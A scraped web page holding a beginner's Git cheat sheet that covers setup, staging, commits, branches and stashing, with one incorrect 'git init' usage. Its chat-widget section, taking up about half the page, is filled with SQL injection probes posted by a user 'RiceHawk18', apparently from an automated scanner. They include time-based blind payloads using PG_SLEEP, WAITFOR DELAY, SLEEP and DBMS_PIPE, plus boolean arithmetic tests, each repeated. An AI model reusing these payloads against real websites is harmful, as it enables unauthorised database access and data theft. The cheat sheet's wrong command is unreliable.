Git Cheat Sheet For Beginners
Memorizing all Git commands is not easy. Use this cheat sheet to quickly find the right command for the job.
New project setup
git init https://repositoryurl
Creates a new empty repository
git init https://repositoryurl mydir
Creates a new empty repository in a directory mydir
git clone
Copies the remote repository from the remote URL to your local computer and stores it there as a local repository
Reviewing changes and history
git status
Shows all changes in your workspace. New untracked files, changed files, staged files. And also current branch.
git log
Shows a history of all commits
git log -3
Shows last 3 commits
git blame my-file.txt
Shows history of all changes in a file including the author of each change
Basic day-to-day use
git pull
Retrieves changes from remote repository to local repository and integrates the changes to your workspace
git add file.htm
Adds changed file.htm to the index (stage)
git add .
Adds all changes to the index (stage)
git add */*.html
Adds all changed files with extension .html to the index (stage)
git rm --cached */*.tmp
Removes all changed files with extension .tmp from index (stage). This can be used when you staged some files by mistake.
git commit -m "Added header"
Commits the changes from the index (stage) to the repository and adds a short description describing the change
git commit -a -m "Added header"
The same as git add . with git commit . Adds all current changes to the index and commits the changes from the index (stage) to the repository and adds a short description describing the change
git push
Pushes changes from local repository to remote repository
Branches give you freedom
git branch
Gets a list of all local branches
git branch -r
Gets a list of all remote branches
git branch -a
Gets a list of all local and remote-tracking branches
git branch abc
Creates a new branch with name abc
git checkout abc
Changes the current branch to branch abc. The version of files from branch abc will be checked out to the workspace.
git checkout -b abc
Creates a new branch abc and changes the current branch to this newly created branch. The version of files from branch abc will be checked out to the workspace.
git push -u origin newbranch
Creates a new remote branch newbranch in origin repository and pushes changes from current local branch to the newly created remote branch.
git reset --hard HEAD
Discards all local changes in your workspace
When you need to multi-task
git stash
Takes current changes and stashes them away so that there won't be any changes in your workspace. The stashed changes are saved and can be later restored.
git stash pop
Restores previously stashed changes to your workspace and removes the stash, so that the stash will be no longer available in the list of stashes.
git stash list
Displays a list of all existing stashes (previously stashed changes).
git stash drop 1
Deletes the stash with index 1.
Chat
Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.
RiceHawk18
e
e
RiceHawk18
@@xeDO0
@@xeDO0
RiceHawk18
1'"
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
e
RiceHawk18
e
e